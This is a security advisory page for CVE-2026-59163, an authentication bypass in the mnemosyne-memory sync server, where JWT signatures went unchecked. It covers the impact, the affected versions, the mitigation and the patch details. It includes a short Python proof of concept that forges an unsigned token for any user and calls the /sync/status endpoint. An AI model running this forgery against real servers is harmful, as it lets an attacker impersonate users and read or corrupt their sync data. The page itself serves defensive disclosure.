Skip to content
CVE IDCVE-2026-59163GitHub advisory IDGHSA-xcw4-53cc-hv32

Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass

CVE-2026-59163 (GitHub advisory GHSA-xcw4-53cc-hv32) is a critical-severity vulnerability with a CVSS 3.1 base score of 9.1, classed as Improper Verification of Cryptographic Signature (CWE-347), in mnemosyne-memory (PyPI). Affected versions: <= 3.10.0. It is fixed in 3.10.1.

Critical9.1Fix availableGitHub reviewed

Published 18 Sept 2026Updated 18 Sept 2026

9.1CriticalCVSS 3.1
EPSS
0.25%higher than 16% of CVEs
Weakness (CWE)
  • CWE-347Improper Verification of Cryptographic Signature
KEV status
Not in KEV
Published
18 Sept 2026
Updated
18 Sept 2026
Ecosystem
  • PyPI
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.

Severity: Critical

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1

Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.

Affected versions

All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.

Patched versions

v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)


Description

The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.

The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:

  • Constant-time signature comparison via hmac.compare_digest
  • Strict alg: HS256 check, rejecting none and other algorithms
  • UTC-aware exp validation with leeway
  • Loud errors with specific failure reasons
  • Type validation of decoded payload before use

Impact

An attacker with network access to the sync server can:

  • Forge a JWT for any user_id without knowing the secret
  • Authenticate as that user to /sync/status, /sync/push, and /sync/pull
  • Read the victim's sync state
  • Push malicious sync state to corrupt the victim's local database
  • Pivot within a shared deployment (multi-user sync server)

Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.

Reproduction

import base64
import json
import requests

# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
    header = base64.urlsafe_b64encode(
        json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
    ).rstrip(b"=")
    payload = base64.urlsafe_b64encode(
        json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
    ).rstrip(b"=")
    sig = b""
    return f"{header.decode()}.{payload.decode()}."

r = requests.get(
    "https://target.example.com/sync/status",
    headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())

A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.

Mitigation

Upgrade to v3.10.1.

For users who cannot upgrade immediately:

  • Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
  • The vulnerability is not exploitable against an unreachable endpoint.

Workarounds

None. The patch is required to restore authentication integrity.

Credits

  • Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
  • Fix: Denis Hache

Timeline

  • 2026-06-13: Initial report received from Denis via private channel.

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Critical9.1Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
None
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
High
Integrity I
High
Availability A
None

CISA SSVC decision points

Exploitation
poc
Proof-of-concept code is public
Automatable
yes
Attackers can automate this at scale
Technical impact
total
Full control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • mnemosyne-memory
    PyPI
    pkg:pypi/mnemosyne-memory
    Affected versions
    <= 3.10.0
    Fixed in
    3.10.1
    Show 25 listed versions
    • 1.10.1
    • 1.10.2
    • 1.11.0
    • 1.12.0
    • 1.13.0
    • 1.9.0
    • 2.0.0
    • 2.1
    • 2.2
    • 2.3
    • 2.5.0
    • 2.6.0

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 3.10.1 or later.

Patch commits

  • a0b6b87Patch commitgithub.com/mnemosyne-oss/mnemosyne

    fix: verify sync JWT signatures

    +163 −22 across 2 files

    • mnemosyne/core/sync_server.py+58 −22
    • tests/test_sync.py+105 −0
  • #373Pull requestgithub.com/mnemosyne-oss/mnemosyne

Release commits

The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.

  • f8b9aa9Release commit3.10.1github.com/mnemosyne-oss/mnemosyne

Vulnerability intelligence

References

Credits

Questions about CVE-2026-59163

What is the GHSA ID for CVE-2026-59163?
GitHub tracks CVE-2026-59163 as GHSA-xcw4-53cc-hv32.
What is the CVSS score of CVE-2026-59163?
CVE-2026-59163 has a CVSS 3.1 base score of 9.1 (Critical), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
Which versions are affected by CVE-2026-59163?
mnemosyne-memory (PyPI): <= 3.10.0.
How do I fix CVE-2026-59163?
Upgrade to 3.10.1 or later. The fix is in commit a0b6b87 and pull request #373.
What is the Package URL (PURL) for CVE-2026-59163?
The affected package's PURL is pkg:pypi/mnemosyne-memory.
Is CVE-2026-59163 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-59163. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.25% chance of exploitation in the next 30 days, higher than 16% of CVEs.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded

Fetched 1 day ago (14 Oct 2026, 17:50 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog
EPSS
GitHub Advisory Database

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.